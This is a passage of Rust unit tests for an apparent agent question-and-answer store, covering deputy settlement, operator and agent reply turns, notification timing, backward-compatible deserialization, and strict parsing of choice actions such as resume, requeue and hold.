3893 q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3894 assert_eq!(q.status, QuestionStatus::Answered);
3895 assert_eq!(q.resolution().as_deref(), Some("yes"));
3896 let last = q.thread.last().unwrap();
3897 assert_eq!(last.who, Who::Agent);
3898 assert!(last.body.starts_with("Settled as `yes`"));
3899 let turns = q.thread.len();
3900 assert!(
3901 q.settle_by_deputy("deputy-x", "no", None).is_err(),
3902 "a settled question is not settled twice"
3903 );
3904 assert_eq!(q.thread.len(), turns);
3905 }
3906
3907 #[test]
3908 fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3909 let q = choice_question();
3910 let mut v = serde_json::to_value(&q).unwrap();
3911 v["answer_authority"] = serde_json::json!({
3912 "talk": "talk", "turn": 0, "message": 0,
3913 "instruction": "id: use my text fp\nA title",
3914 "instruction_fingerprint": "f", "recommendation_turn": null,
3915 "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3916 "question_fingerprint": "g", "recovery_interpretation": "r"
3917 });
3918 let back: Question = serde_json::from_value(v).unwrap();
3919 let legacy = back.answer_authority.as_ref().unwrap();
3920 assert_eq!(legacy.question, q.id);
3921 assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3922 let written = serde_json::to_value(&back).unwrap();
3925 assert_eq!(
3926 written["answer_authority"],
3927 serde_json::json!({
3928 "question": q.id, "choice": "SQLite",
3929 "instruction": "id: use my text fp\nA title"
3930 })
3931 );
3932 let again: Question = serde_json::from_value(written).unwrap();
3933 assert_eq!(again.answer_authority, back.answer_authority);
3934 assert!(
3935 serde_json::to_value(&q)
3936 .unwrap()
3937 .get("answer_authority")
3938 .is_none()
3939 );
3940 }
3941
3942 #[test]
3943 fn a_question_written_before_deputies_still_reads() {
3944 let mut q = Question::new(
3945 "task".to_owned(),
3946 "conduct".to_owned(),
3947 "conduct".to_owned(),
3948 "Done?".to_owned(),
3949 String::new(),
3950 Vec::new(),
3951 );
3952 q.schema = 4;
3953 let mut v = serde_json::to_value(&q).unwrap();
3954 v.as_object_mut().unwrap().remove("deputy");
3955 let back: Question = serde_json::from_value(v).unwrap();
3956 assert!(back.deputy.is_none());
3957 }
3958
3959 #[test]
3960 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3961 let mut q = choice_question();
3962 q.say("does the cache need eviction?").unwrap();
3963 assert_eq!(q.thread.len(), 1);
3964 assert_eq!(q.thread[0].who, Who::Operator);
3965 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3966 assert_eq!(q.status, QuestionStatus::Open);
3969 assert!(q.answer.is_none());
3970 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3971 }
3972
3973 #[test]
3974 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3975 let mut answered = choice_question();
3976 answered
3977 .answer(Answer::Choice("SQLite".to_owned()))
3978 .unwrap();
3979 let a = answered.say("still there?").unwrap_err().to_string();
3980 assert!(a.contains("already answered"), "{a}");
3981 let b = answered
3982 .reply("still there?", vec![])
3983 .unwrap_err()
3984 .to_string();
3985 assert!(b.contains("already answered"), "{b}");
3986
3987 let mut abandoned = choice_question();
3988 abandoned.abandon("timed out");
3989 let c = abandoned.say("hello?").unwrap_err().to_string();
3990 assert!(c.contains("abandoned"), "{c}");
3991
3992 let mut open = choice_question();
3993 let d = open.say(" ").unwrap_err().to_string();
3994 assert!(d.contains("empty"), "{d}");
3995 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3996 assert!(e.contains("empty"), "{e}");
3997 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3998 }
3999
4000 #[test]
4001 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
4002 let mut q = choice_question();
4003 q.say("SQLite or Redis, but what about disk space?")
4004 .unwrap();
4005 assert!(q.waiting_on_agent());
4006
4007 q.reply(
4008 "SQLite: it is one file, no server to run.",
4009 vec!["SQLite".to_owned()],
4010 )
4011 .unwrap();
4012
4013 assert_eq!(q.choices, ["SQLite"]);
4014 assert!(
4015 !q.waiting_on_agent(),
4016 "the agent spoke, so the owner is the one being waited on now"
4017 );
4018 assert_eq!(q.thread.len(), 2);
4019 assert_eq!(q.thread[1].who, Who::Agent);
4020
4021 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
4023 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4024 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
4025 }
4026
4027 #[test]
4028 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
4029 let mut fresh = choice_question();
4030 assert!(
4031 fresh.should_notify(Timestamp::now()),
4032 "nobody has been notified yet, so the first ask always pages"
4033 );
4034
4035 fresh.say("why not Postgres?").unwrap();
4036 let just_said = fresh.thread[0].at;
4037 assert!(
4038 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
4039 "still on the screen a minute later; no need to page again"
4040 );
4041 assert!(
4042 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
4043 "exactly the window: `>` means this side stays quiet"
4044 );
4045 assert!(
4046 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
4047 "past the window: they may have walked away"
4048 );
4049 }
4050
4051 #[test]
4052 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
4053 let (_dir, s) = store();
4054 let mut q = choice_question();
4055 s.put(&mut q).unwrap();
4056 q.say("why not Postgres?").unwrap();
4057 s.put(&mut q).unwrap();
4058 q.reply("no server to run", vec!["SQLite".to_owned()])
4059 .unwrap();
4060 s.put(&mut q).unwrap();
4061
4062 assert_eq!(
4063 s.count_open(),
4064 1,
4065 "one question that talked twice is still one open question"
4066 );
4067 assert_eq!(s.open_for(&q.run).len(), 1);
4068 }
4069
4070 #[tokio::test]
4071 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
4072 let (dir, s) = store();
4073 let mut q = choice_question();
4074 let id = q.id.clone();
4075 let writer = Questions::at(dir.path().join("questions"));
4076 let handle = tokio::spawn(async move {
4077 tokio::time::sleep(Duration::from_millis(30)).await;
4078 let mut fresh = writer.get(&id).expect("the question was filed first");
4079 fresh.say("why not Postgres?").unwrap();
4080 writer.put(&mut fresh).unwrap();
4081 });
4082
4083 let got = wait_for_owner(
4084 &mut q,
4085 &s,
4086 &quiet(),
4087 Duration::from_secs(5),
4088 Duration::from_millis(10),
4089 )
4090 .await
4091 .unwrap();
4092
4093 handle.await.unwrap();
4094 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
4095 assert_eq!(
4096 q.status,
4097 QuestionStatus::Open,
4098 "talking back is not a decision; the question stays open"
4099 );
4100 assert!(q.answer.is_none());
4101 }
4102
4103 #[test]
4104 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
4105 let mut q = choice_question();
4106 q.say("A").unwrap();
4107 q.delivered_turns = q.thread.len();
4108 q.say("B").unwrap();
4109 q.reply("about A", vec![]).unwrap();
4110 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
4111 q.delivered_turns = q.thread.len();
4112 assert_eq!(q.unread_from_owner(), None);
4113 }
4114
4115 #[test]
4116 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
4117 let (_d, s) = store();
4118 let mut q = choice_question();
4119 s.put(&mut q).unwrap();
4120 q.say("first").unwrap();
4121 q.say("second").unwrap();
4122 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4123 s.put(&mut q).unwrap();
4124 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
4125 let mut out = Vec::new();
4126 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
4127 let shown = String::from_utf8(out).unwrap();
4128 let (a, b, c) = (
4129 shown.find("first").unwrap(),
4130 shown.find("second").unwrap(),
4131 shown.find("SQLite").unwrap(),
4132 );
4133 assert!(a < b && b < c, "{shown}");
4134 assert_eq!(q.delivered_turns, q.thread.len());
4135 assert!(q.answer_delivered);
4136 }
4137
4138 #[test]
4139 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
4140 let mut q = choice_question();
4141 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4142 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
4143 let mut q = choice_question();
4144 q.say("old").unwrap();
4145 q.delivered_turns = q.thread.len();
4146 q.say("new").unwrap();
4147 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4148 let shown = answer_for_agent(&q, "SQLite");
4149 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4150 }
4151
4152 #[test]
4153 fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
4154 let mut q = choice_question();
4155 q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
4156 q.actions.insert(
4157 q.choices[0].clone(),
4158 ChoiceAction::ResumeRun {
4159 run: "run-a".into(),
4160 },
4161 );
4162 q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
4163 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4164 assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
4165 assert!(
4166 q.resolve_reply("resume-run")
4167 .unwrap_err()
4168 .to_string()
4169 .contains("with offered choices")
4170 );
4171 assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
4172 assert!(
4173 q.resolve_reply("daemon: resume [resume run run-a]")
4174 .is_err()
4175 );
4176 q.actions.insert(
4177 q.choices[0].clone(),
4178 ChoiceAction::Resume {
4179 run: "run-a".into(),
4180 },
4181 );
4182 assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
4183 q.choices.push("another resume".into());
4184 q.actions.insert(
4185 "another resume".into(),
4186 ChoiceAction::Resume {
4187 run: "run-b".into(),
4188 },
4189 );
4190 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4191 }
4192
4193 #[test]
4194 fn recovery_aliases_require_a_unique_offered_structured_effect() {
4195 let mut q = choice_question();
4196 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4197 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4198 q.actions
4199 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4200 }
4201 assert!(
4202 q.resolve_reply("再開")
4203 .unwrap_err()
4204 .to_string()
4205 .contains("ambiguous")
4206 );
4207 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4208 q.choices.remove(1);
4209 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4210 assert!(q.resolve_reply("resume run-b").is_err());
4211 assert!(q.resolve_reply("保留").is_err());
4212 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4213 assert!(!ChoiceAction::Done.matches_alias("完了"));
4214 }
4215
4216 #[test]
4217 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4218 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4219 let ok = parse_actions(
4220 &[
4221 "resume で続行する=resume".to_owned(),
4222 "wait=done".to_owned(),
4223 ],
4224 &choices,
4225 "run-1",
4226 )
4227 .unwrap();
4228 assert_eq!(
4229 ok["resume で続行する"],
4230 ChoiceAction::Resume {
4231 run: "run-1".into()
4232 }
4233 );
4234 assert_eq!(ok["wait"], ChoiceAction::Done);
4235
4236 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4237 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4238 assert_eq!(
4239 ChoiceAction::parse("x=requeue", "").unwrap().1,
4240 ChoiceAction::Requeue
4241 );
4242
4243 assert_eq!(
4244 ChoiceAction::parse("x=hold", "").unwrap().1,
4245 ChoiceAction::Hold
4246 );
4247
4248 for bad in [
4249 "no-equals",
4250 "=done",
4251 "x=resume",
4252 "x=resume:",
4253 "x=explode",
4254 "x=done:1",
4255 ] {
4256 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4257 }
4258 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4259 assert!(
4260 parse_actions(
4261 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4262 &choices,
4263 ""
4264 )
4265 .is_err()
4266 );
4267 }
4268
4269 #[test]
4270 fn only_a_chosen_label_with_an_action_is_actionable() {
4271 let mut q = choice_question();
4272 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4273 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4274 assert!(q.chosen_action().is_none(), "unanswered");
4275 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4276 assert!(
4277 q.chosen_action().is_none(),
4278 "a label that merely reads like an action does nothing"
4279 );
4280
4281 let mut q2 = choice_question();
4282 q2.choices = vec!["SQLite".to_owned()];
4283 q2.actions
4284 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4285 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4286 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4287 }
4288
4289 #[test]
4290 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4291 let mut q = choice_question();
4292 q.choices = vec!["A".to_owned(), "B".to_owned()];
4293 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4294 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4295 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4296 assert_eq!(q.actions.len(), 1);
4297 assert!(q.actions.contains_key("B"));
4298
4299 let mut v = serde_json::to_value(&q).unwrap();
4300 v.as_object_mut().unwrap().remove("actions");
4301 let old: Question = serde_json::from_value(v).unwrap();
4302 assert!(old.actions.is_empty());
4303 }
4304}